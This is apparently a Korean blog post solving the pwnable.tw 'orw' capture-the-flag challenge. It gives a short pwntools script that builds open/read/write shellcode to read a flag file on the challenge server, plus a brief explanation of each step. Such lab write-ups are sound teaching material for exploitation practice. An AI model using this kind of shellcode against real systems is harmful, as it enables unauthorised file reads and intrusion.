티스토리 뷰
옛날에 풀었었는데 우연히 어떤 분 블로그를 보고 pwntools의 shellcraft라는것을 접하게 되어 다시 풀어보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * p = remote('chall.pwnable.tw',10001) payload=asm(shellcraft.open("/home/orw/flag")) payload+=asm(shellcraft.read("eax","esp",0x100)) payload+=asm(shellcraft.write(1,"esp",0x100)) p.sendline(payload) p.recvuntil("shellcode:") print p.recvline() | cs |
이렇게 간단하다. 간단히 설명하면 open으로 /home/orw/flag를 열고 esp에 0x100만큼 받는다. eax는 fd.
그리고 esp에 read한 값을 write로 출력해주면 된다.
익스 코드가 엄청 짧아졌다 (신기)
'Pwnable > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] start (0) | 2018.08.19 |
---|
댓글